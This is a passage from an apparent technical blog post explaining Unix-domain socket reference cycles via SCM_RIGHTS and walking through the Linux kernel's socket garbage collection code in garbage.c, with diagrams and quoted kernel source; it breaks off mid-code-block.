<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2">After closing both of the file descriptors, the reference count equals the inflight count for each of the socket file descriptors, which is a sign of possible garbage:</span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiLYC-jGxNwF2UbjAZgIsusMaCUGbBo61ZVRxLljS27iXShVhfCth-_lXBBevW9hyWaIcKBWdkX_6BixTMWNDoE56ZrUFbiKLolrc8orEqPTp_0ITjwRfxUzJZwvaJZWkomMlkM-_Lqr1DdFQVKjnEW_nnuSOz51JCvu-xZDterJudPenVekqGpqP-/s700/image61.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiLYC-jGxNwF2UbjAZgIsusMaCUGbBo61ZVRxLljS27iXShVhfCth-_lXBBevW9hyWaIcKBWdkX_6BixTMWNDoE56ZrUFbiKLolrc8orEqPTp_0ITjwRfxUzJZwvaJZWkomMlkM-_Lqr1DdFQVKjnEW_nnuSOz51JCvu-xZDterJudPenVekqGpqP-/s700/image61.png" border="0" alt="The cycle becomes unbreakable after closing A and B. The reference count equals to the inflight count for A and B." style="max-height: 750px; max-width: 600px;"title="The cycle becomes unbreakable after closing A and B. The reference count equals to the inflight count for A and B." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c32">Unbreakable cycle after close </span><span class="ykcrMYlEiJ-c8">A</span><span class="ykcrMYlEiJ-c32"> and </span><span class="ykcrMYlEiJ-c8">B</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Now, let’s check another example. </span><span>Assume we have sockets </span><span class="ykcrMYlEiJ-c8">A</span><span>, </span><span class="ykcrMYlEiJ-c8">B</span><span> and </span><span class="ykcrMYlEiJ-c44">𝛼</span><span>:</span></p><ol class="c27 lst-kix_9prd8pa3o8y7-0 start" start="1"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">A</span><span> sends socket </span><span class="ykcrMYlEiJ-c8">A</span><span> to socket </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">B</span><span> sends socket </span><span class="ykcrMYlEiJ-c8">B</span><span> to socket </span><span class="ykcrMYlEiJ-c8">A</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c8">B</span><span> sends socket </span><span class="ykcrMYlEiJ-c8">B</span><span> to socket </span><span class="ykcrMYlEiJ-c44">𝛼</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span class="ykcrMYlEiJ-c44">𝛼</span><span> sends socket </span><span class="ykcrMYlEiJ-c44">𝛼</span><span> to socket </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Close </span><span class="ykcrMYlEiJ-c8">A</span><span class="ykcrMYlEiJ-c2">.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Close </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2">.</span></li></ol>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnuMdkCyfn1Xhzr4NJiNcf3Oxt8ZB8kCVOZEIIVcuTGoHGEq37NFy44gE-wgNaaIZiwoSE0iWSpfifiXtfEMc0qec9_Lih7VE3xqzQJ6PjIGMT7K6Jcz0VLfYELIev025FXRJbnmnKHdChHBnk7DnjFQSRe0kB8k9zoXBP_ZYh7SYlCkQ08qHYhyxY/s1999/image68.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnuMdkCyfn1Xhzr4NJiNcf3Oxt8ZB8kCVOZEIIVcuTGoHGEq37NFy44gE-wgNaaIZiwoSE0iWSpfifiXtfEMc0qec9_Lih7VE3xqzQJ6PjIGMT7K6Jcz0VLfYELIev025FXRJbnmnKHdChHBnk7DnjFQSRe0kB8k9zoXBP_ZYh7SYlCkQ08qHYhyxY/s1200/image68.png" border="0" alt="A, B and alpha form a breakable cycle." style="max-height: 750px; max-width: 600px;"title="A, B and alpha form a breakable cycle." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c32">Breakable cycle for </span><span class="ykcrMYlEiJ-c8">A</span><span>, </span><span class="ykcrMYlEiJ-c8">B</span><span> </span><span class="ykcrMYlEiJ-c32">and</span><span> </span><span class="ykcrMYlEiJ-c15">𝛼</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The cycle is breakable, because </span><span>we can get newly installed file descriptor </span><span class="ykcrMYlEiJ-c8">B</span><span>’</span><span> from the socket file descriptor </span><span class="ykcrMYlEiJ-c44">𝛼</span><span> and newly installed file descriptor </span><span class="ykcrMYlEiJ-c8">A'</span><span> from </span><span class="ykcrMYlEiJ-c8">B</span><span>’.</span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.6bkr31v5bx7w"><span class="ykcrMYlEiJ-c1">Garbage Collection</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>A h</span><span>igh level view of garbage collection is available from </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://lwn.net/Articles/779472/">lwn.net</a></span><span class="ykcrMYlEiJ-c2">:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c38">"</span><span class="c34 c19 c49 c38">If, instead, the two counts are equal, that file structure might be part of an unreachable cycle. To determine whether that is the case, the kernel finds the set of all in-flight Unix-domain sockets for which all references are contained in SCM_RIGHTS datagrams (for which f_count and inflight are equal, in other words). It then counts how many references to each of those sockets come from SCM_RIGHTS datagrams attached to sockets in this set. Any socket that has references coming from outside the set is reachable and can be removed from the set. If it is reachable, and if there are any SCM_RIGHTS datagrams waiting to be consumed attached to it, the files contained within that datagram are also reachable and can be removed from the set.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="c34 c19 c38 c49"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="c34 c19 c49 c38">At the end of an iterative process, the kernel may find itself with a set of in-flight Unix-domain sockets that are only referenced by unconsumed (and unconsumable) SCM_RIGHTS datagrams; at this point, it has a cycle of file structures holding the only references to each other. Removing those datagrams from the queue, releasing the references they hold, and discarding them will break the cycle."</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>To be more specific, the </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span class="ykcrMYlEiJ-c2"> garbage collection system was developed in order to handle the unbreakable reference cycles. To identify which file descriptors are a part of unbreakable cycles:</span></p><ol class="c27 lst-kix_iptxq54yrrnf-0 start" start="1"><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Add any </span><span class="ykcrMYlEiJ-c3">unix_sock</span><span> objects whose reference count equals its inflight count to the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span class="ykcrMYlEiJ-c2"> list.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>Determine if the socket is referenced by any sockets outside of the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span> list. If it is then it is reachable, remove it and any sockets it references from the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span> list. </span><span class="ykcrMYlEiJ-c2">Repeat until no more reachable sockets are found.</span></li><li style="margin-left: 46pt;" class="c12 c20 c25 li-bullet-0"><span>After this iterative process, only sockets who are solely referenced by other sockets within the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span class="ykcrMYlEiJ-c2"> list are left. </span></li></ol>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Let’s take a closer look at how this garbage collection process works. First, the kernel finds all the </span><span class="ykcrMYlEiJ-c3">unix_sock</span><span> objects whose reference counts equals their inflight count and puts them into the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span> </span><span>list</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/garbage.c#L242">garbage.c#L242)</a></span><span class="ykcrMYlEiJ-c2">:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.abfa5bba6c1c21ddf7addd07cef8c63ba518ddc9"></a><a id="t.8"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">list_for_each_entry_safe</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">next</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">gc_inflight_list</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> link</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">long</span><span class="ykcrMYlEiJ-c0"> total_refs</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">long</span><span class="ykcrMYlEiJ-c0"> inflight_refs</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> total_refs </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> file_count</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">.</span><span class="ykcrMYlEiJ-c0">sk_socket</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">file</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> inflight_refs </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> atomic_long_read</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">inflight</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">inflight_refs </span><span class="ykcrMYlEiJ-c10"><</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c35">1</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> BUG_ON</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">total_refs </span><span class="ykcrMYlEiJ-c10"><</span><span class="ykcrMYlEiJ-c0"> inflight_refs</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">if</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">total_refs </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">==</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> inflight_refs</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> list_move_tail</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">link</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">gc_candidates</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> __set_bit</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIX_GC_CANDIDATE</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">gc_flags</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> __set_bit</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIX_GC_MAYBE_CYCLE</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">gc_flags</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Next, the kernel removes any sockets that are referenced by other sockets outside of the current </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span> list. To do this, the kernel invokes </span><span class="ykcrMYlEiJ-c3">scan_children</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/garbage.c#L138">garbage.c#138</a></span><span>) along with the function pointer </span><span class="ykcrMYlEiJ-c3">dec_inflight</span><span> to iterate through each candidate’s </span><span class="ykcrMYlEiJ-c3">sk->receive_queue</span><span>.</span><span> It decreases the inflight count for each of the passed file descriptors that are themselves candidates for garbage collection (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/garbage.c#L261">garbage.c#L261</a></span><span class="ykcrMYlEiJ-c2">):</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.fc28a79164e4bd7a8bdd4781c31aead0becb7e3a"></a><a id="t.9"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/* Now remove all internal in-flight reference to children of</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * the candidates.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">list_for_each_entry</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">gc_candidates</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> link</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> scan_children</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> dec_inflight</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> NULL</span><span class="ykcrMYlEiJ-c10">);</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>After iterating through all the candidates, if a gc candidate still has a positive inflight count it means that it is referenced by objects outside of the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span> list and therefore is reachable. These candidates should not be included in the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span class="ykcrMYlEiJ-c2"> list so the related inflight counts need to be restored.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>To do this, the kernel will put the candidate to </span><span class="ykcrMYlEiJ-c3">not_cycle_list</span><span> instead and iterates through its receiver queue of each transmitted file in the </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span> </span><span>list</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/garbage.c#L281">garbage.c#L281</a></span><span>) and increments the inflight count back. The entire process is done recursively, i</span><span>n order for the garbage collection to avoid purging reachable sockets:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.361a83de28e804a554f56db20f03ccfb1d948e58"></a><a id="t.10"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/* Restore the references for children of all candidates,</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * which have remaining references. Do this recursively, so</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * only those remain, which form cyclic references.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> *</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * Use a "cursor" link, to make the list traversal safe, even</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * though elements might be moved about.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">list_add</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">cursor</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">gc_candidates</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">while</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">cursor</span><span class="ykcrMYlEiJ-c10">.</span><span class="ykcrMYlEiJ-c14">next</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">!=</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">gc_candidates</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> u </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> list_entry</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">cursor</span><span class="ykcrMYlEiJ-c10">.</span><span class="ykcrMYlEiJ-c14">next</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> unix_sock</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> link</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c23">/* Move cursor to after the current position. */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> list_move</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">cursor</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">u</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">link</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">if</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">atomic_long_read</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">inflight</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c35 ykcrMYlEiJ-c7">0</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> list_move_tail</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">link</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">not_cycle_list</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> __clear_bit</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIX_GC_MAYBE_CYCLE</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">gc_flags</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> scan_children</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">u</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">sk</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> inc_inflight_move_tail</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> NULL</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0">list_del</span><span class="ykcrMYlEiJ-c10">(&</span><span class="ykcrMYlEiJ-c0">cursor</span><span class="ykcrMYlEiJ-c10">);</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Now </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span> contains only “garbage”. The kernel restores original inflight counts from </span><span class="ykcrMYlEiJ-c3">gc_candidates</span><span>, moves candidates from </span><span class="ykcrMYlEiJ-c3">not_cycle_list</span><span> back to </span><span class="ykcrMYlEiJ-c3">gc_inflight_list</span><span> and invokes </span><span class="ykcrMYlEiJ-c3">__skb_queue_purge</span><span> for cleaning up </span><span>garbage</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/garbage.c#L306">garbage.c#L306</a></span><span class="ykcrMYlEiJ-c2">).</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.193055a25333ec1cdf4b6d039bbb9233e94a0884"></a><a id="t.11"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/* Now gc_candidates contains only garbage. Restore original</span></p>
